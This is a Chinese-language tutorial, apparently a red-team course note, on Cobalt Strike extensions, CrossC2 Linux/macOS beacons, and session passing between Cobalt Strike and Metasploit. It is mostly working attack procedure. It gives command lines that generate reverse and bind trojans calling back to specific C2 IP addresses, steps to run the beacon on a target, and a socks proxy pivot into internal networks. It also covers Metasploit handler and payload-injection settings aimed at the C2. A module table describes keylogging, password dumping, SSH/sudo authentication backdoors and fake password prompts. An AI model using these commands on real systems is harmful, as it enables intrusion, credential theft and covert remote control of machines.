一、CobaltStrike 扩展脚本
1.扩展脚本简介
扩展是 Cobaltstrike 一个极为重要的模块,它有效地丰富了 Cobaltstrike 的功能
选择菜单栏的 CobaltStrike > Script Manager(脚本管理器),点击 Load(加载),然后选择要使用的 .cna 扩展文件即可
2.常用扩展脚本插件
- 后渗透插件-梼杌
- 免杀插件-bypassAV
- 上线linux主机-CrossC2
二、CS 上线 Linux 主机
1.CrossC2 介绍
Cross C2 项目是一个可以生成 Linux/Mac OS 的 Cobaltstrike beacon payload 的跨平台项目
- Linux & MacOS 支持无文件落地从内存中加载执行动态库或可执行文件
- 灵活自定义执行文件的数据返回类型,端口扫描,屏幕截图,键盘记录,口令凭证等用户自定义开 发实现更便捷
- 自定义通信协议
- 支持横向移动
- 支持从内存加载脚本
- Android & iPhone 支持
2.CrossC2 使用
1)创建 Listener
首先创建Listener监听器 windows/beacon_https/reverse_https

2)下载 beacon_keys 文件
使用命令
ls -lha
显示隐藏文件

然后下载teamserver目录下的 .cobaltstrike.beacon_keys 文件到本地客户端启动目录
如果在远程连接工具中无法下载,可以使用python的http服务下载
3)添加 CNA 扩展脚本
- 选择 Script Manager,添加 CrossC2.cna
- 打开下载的 CrossC2Kit 文件夹,添加 CrossC2Kit.cna、CrossC2Kit_Loader.cna , 包含内存加载等其它扩展功能
- 如果成功安装,菜单栏会多出一项 CrossC2
4)生成 Beacon
默认使用 cli 或 cna 提供的 GUI 功能生成 beacon
(1)GUI 生成木马
CrossC2 > Create CrossC2 Listener > Create reverse HTTPS Listener


不知道为什么tcp的payload没有Beacon回连
(2)Cli 生成木马(命令行)
# 命令格式
./genCrossC2.Win.exe C2的IP地址 C2监听的端口 .cobaltstrike.beacon_keys文件所在路径 null Linux 生成payload的架构 payload名称
# 命令示例
./genCrossC2.Win.exe 124.71.45.28 443 D:\MyTools\CobaltStrike\cs4.5\.cobaltstrike.beacon_keys null Linux x64 cc2-test
Linux 及 MacOS 上生成木马命令同上
- 生成反向Payload
# 命令示例
./genCrossC2.Linux 139.155.49.43 444 .cobaltstrike.beacon_keys null Linux x64 c444
# 命令解释
139.155.49.43:CS https_listener 监听器IP
444:CS https_listener 监听器端口
.cobaltstrike.beacon_keys:CS服务端Beacon key文件
null:不选择动态库
Linux:运行平台为Linux(MacOS / Linux / MacOS-bind / Linux-bind)
x64:64位系统(x86 / x64)
c444:payload文件名
- 生成正向Payload
# 命令示例
./genCrossC2.Linux 127.0.0.1 4444 .cobaltstrike.beacon_keys null Linux-bind x64 cc
5)运行 Beacon
- 在目标上运行 CrossC2 插件生成的一键上线脚本
- 上传 beacon 至目标机器后进行赋权运行
chmod +x cc2.out
./cc2.out

注意:cs启动时不需要使用c2.4.9.profile ,否则无法返回Beacon
3.CrossC2 基本使用
Command Description
------- -----------
! 从历史记录中运行命令
bash CrossC2 Bash脚本-在内存中运行脚本
cancel 取消正在进行的下载
cat 显示文件的内容
cc2_auth CrossC2 身份验证rootkit - 获取身份验证操作的密码(sshd/sudo/su/passwd…)
cc2_frp CrossC2 frp代理 - 启动Linux/MacOS SOCKS5代理{TCP/KCP(UDP)}
cc2_iMessage_dump CrossC2 iMessage转储-从iMessage转储消息。
cc2_inject CrossC2 进程注入
cc2_job CrossC2 joblist - 管理正在运行的任务
cc2_keychain_dump CrossC2 Keychain转储(root)- 从Keychain中转储登录用户名和密码
cc2_keylogger CrossC2 键盘记录器 - 收听用户从键盘输入的字符串。
cc2_mimipenguin CrossC2 mimipenguin - 从当前linux桌面转储登录密码
cc2_prompt_spoof CrossC2 prompt_spoof -(AppStore)界面弹出,提示用户输入密码,窃取输入的密码
cc2_safari_dump CrossC2 safari转储 - 从safari中转储浏览器历史记录(默认值为500)。
cc2_script CrossC2 Script - 在内存中运行脚本
cc2_shellcode CrossC2 运行shellcode
cc2_ssh CrossC2 SSH rootkit - 获取SSH的密码以登录到其他目标。
cd 切换目录
clear 清除任务队列
connect 通过TCP连接到Beacon
download 下载文件
downloads 列出正在进行的文件下载
exit 终止此会话
getsystem 将uid=0临时权限的会话升级为根会话
head 打印文件的前10行
help 帮助菜单
history 显示命令历史记录
note 为此会话分配备注
perl CrossC2 Perl脚本 - 在内存中运行脚本
php CrossC2 PHP脚本 - 在内存中运行脚本
pwd 打印当前目录
python CrossC2 Python脚本 - 在内存中运行脚本
python-import aaa
rportfwd 设置反向端口转发
rportfwd_local 通过Cobalt Strike客户端设置反向端口
ruby CrossC2 Ruby脚本 - 在内存中运行脚本
setenv 设置会话的环境变量
shell 通过shell执行命令
sleep 设置父信标的睡眠时间
socks 启动SOCKS4a服务器以中继流量
socks stop 停止SOCKS4a服务器
spawn 生成新会话
sudo 通过sudo运行命令
tail 打印文件的最后10行
unlink 断开子TCP的Beacon会话
upload 上传文件
密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna
认证后门模块:cc2_auth, cc2_ssh sudo/su/passwd等认证后门,ssh被连接及连接其他主机的凭证都将被记录。
信息收集模块:cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及iMessage聊天内容与钥匙串中保存的认证凭据都将被获取。
流量代理模块:cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理。
键盘记录模块:cc2_keylogger 记录用户的键盘输入。
网络探测模块:cc2_portscan, cc2_serverscan 进行端口扫描及服务版本扫描。
权限提升模块:cc2_prompt_spoof 诱导欺骗获取用户账户密码。
任务管理模块:cc2_job 管理内存中运行的模块。
三、CS联动MSF
CS和MSF各有所长,CS 更适合作为稳定控制平台, MSF 更适用于与各类内网信息搜集及漏洞利用。为了取长补短,我们可以进行联动。
1.方法一:CS的socks代理
通过 CS 内置 socks 代理将本地 MSF 带入目标内网执行操作
思路:利用 beacon shell 在目标机器和团队服务器之间建立 socks ,而后再在本地通过 proxychains 之类的代理工具连到目标内网即可。
1)CS 启动 Socks 代理

2)使用 proxychains 代理
本地 kali 或者vps编辑 /etc/proxychains4.conf 文件,添加 TeamServer 服务器 ip (本地是127.0.0.1)和 socks 端口,就可以直接连到目标内网(类型为 socks5)
# 编辑proxychains配置文件
vim /etc/proxychains4.conf
# 写入代理地址及端口
socks5 124.71.45.28 6677

使用命令
proxychains4 curl 127.0.0.1:8000
会访问到开启socks的靶机


3)MSF 设置代理
让本地 MSF 所有模块的流量都从 CS 的 socks5 代理走


打开 MSF,执行全局代理设置命令,即可让本地 MSF 所有模块的流量都走 CS 的 socks 代理
2.方法二:CS外部监听器
1)CS 上创建一个 http 的外部监听器(Foreign HTTP)
IP为开启msf服务的

2)MSF 开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (内部ip或者0.0.0.0)
set lport 803
run
3)回到 CS 上,在会话处右键,选择Access,选择 spawn

4)MSF 得到 meterpreter

四、MSF联动CS
1.在 CS 开启一个监听(Beacon HTTP)
2.用msfvenom生成木马

3.MSF 监听会话
使用命令
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 6677
会在后台实现监听,执行木马得到 session 会话

4.MSF 上执行 payload 注入模块
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 124.71.45.28 #cobaltstrike监听的ip
set lport 801 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
run
DisablePayloadHandler 默认为 false,即 payload_inject 模块执行之后会在本地生成一个新 的 handler 监听器,由于设置执行的 payload 是去连接 Cobaltstrike 的监听器,所以这里我们设 置为 true,让它不再生成新的 handler 监听器


默认注入notepad.exe进程中
5.进行其他进程注入
sessions 列出会话
sessions 3 进入会话3
ps 查看进程pid
background 将会话放入后台

设置进程PID
set pid 1664

成功将shellcode注入目标进程获得会话

或者使用cs的process list进行注入

注意:shellcode是注入到进程的内存空间中,进程被终止,那么内存数据全部丢失
